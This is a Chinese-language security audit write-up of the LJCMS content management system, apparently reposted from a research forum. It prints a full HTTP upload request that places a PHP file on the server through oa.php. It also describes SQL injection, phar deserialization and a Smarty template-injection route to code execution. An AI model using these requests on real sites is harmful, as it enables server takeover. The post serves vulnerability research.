ljcms的一次审计 - 123qwer

admin 2021年12月31日15:53:27评论85 views字数 1772阅读5分54秒阅读模式

ljcms的一次审计

先看看已经爆出的漏洞,就sql注入和文件上传
ljcms的一次审计 -  123qwer
再看看之前有人分析了的漏洞,就是一个文件上传和sql注入漏洞
https://www.evi1s.com/archives/168/
现在看看ljcms的主要处理请求的结构
ljcms的一次审计 -  123qwer
这次就先把cnvd上面的洞找一找,爆了文件上传漏洞,看看之前user.php里面的那个还在吗?可以发现漏洞已经修复,后缀名已经被限制了。
ljcms的一次审计 -  123qwer
ljcms的一次审计 -  123qwer
既然有爆了文件上传的漏洞,那就肯定存在上传漏洞,盲猜应该就是用了之前的上传方式,所以就可以快速确定漏洞代码的关键词move_uploaded_file,发现果然如此,这个是在oa系统下面的一个方法调用,和之前有漏洞的上传代码基本上一样,之前官网的oa.php还在,现在没了,,,那就本地演示吧
ljcms的一次审计 -  123qwer
post的请求包

POST /oa.php?c=Popup&a=upload HTTP/1.1
Host: 192.168.57.1
Content-Length: 248
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWlmrYmiGkZv4kYqt
Origin: http://192.168.57.1
Referer: http://192.168.57.1/oa.php?c=User&a=info
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=71h7c02n7i6996css0hgkjkif5; top_menu=198; left_menu=; current_node=; ljcmsapp_admininfo=bf2bys6gTNNl31je43mhne93VrY2BJOYbydGUKToxG7wtdyFSDMbGrs%2FFJGwyC9IDT482rWEY%2FE5EVuEEN4GT1SnIn0q0dscC7nXgq78xnvs%2F8A; return_url=http%3A//192.168.57.1/oa.php%3Fc%3DUser%26a%3Dinfo
Connection: close

------WebKitFormBoundaryWlmrYmiGkZv4kYqt
Content-Disposition: form-data; name="file"; filename="f.php"
Content-Type: image/gif

<?php phpinfo();?>
------WebKitFormBoundaryWlmrYmiGkZv4kYqt--

可以看到上传的路径,直接访问上传的php文件
ljcms的一次审计 -  123qwer
ljcms的一次审计 -  123qwer
好了,再找一下sql注入漏洞吧,这个也比较好找,找到了sql的漏洞位置,所以我们注册一个普通用户,然后就可以进行注入了
ljcms的一次审计 -  123qwer
构造请求进行注入,当然还有其他的地方可以注入,这里就不列举了
ljcms的一次审计 -  123qwer
在寻找这些漏洞时,对这个框架也有了一定的熟悉,继续看看有没有其他的漏洞,action_ajax_dao_article这个方法我们可以调用,参数也可控,现在有了一个file_get_contents可以利用和参数可控,但是他读取的文件得过了正则才会显示,所以这里可以请求一些内网的服务和打phar反序列化
ljcms的一次审计 -  123qwer
利用poc,反序列化就打看了一下,好像就一个任意文件删除,删除文件后在重装系统。但是用处不大,可能还有其他的链子,只是我没有挖到,,,
ljcms的一次审计 -  123qwer
然后继续看admin可以控制的方法,发现模板编辑那里还可用,刚好这个cms的模板渲染基于smarty
ljcms的一次审计 -  123qwer
ljcms的一次审计 -  123qwer
ljcms的一次审计 -  123qwer
可以发现他这里的模板渲染的label是改变了的,而且禁用了php的标签,但是由于smarty不是最新版本可以直接打
ljcms的一次审计 -  123qwer
然后访问主页的关于我们就成功触发我们写入的代码
ljcms的一次审计 -  123qwer
ljcms的一次审计 -  123qwer
不过好像这个模板注入还没有爆出来?有兴趣的还可以继续挖挖sql注入和反序列化那里。

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:53:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ljcms的一次审计 - 123qwerhttp://cn-sec.com/archives/712953.html

发表评论

匿名网友 填写信息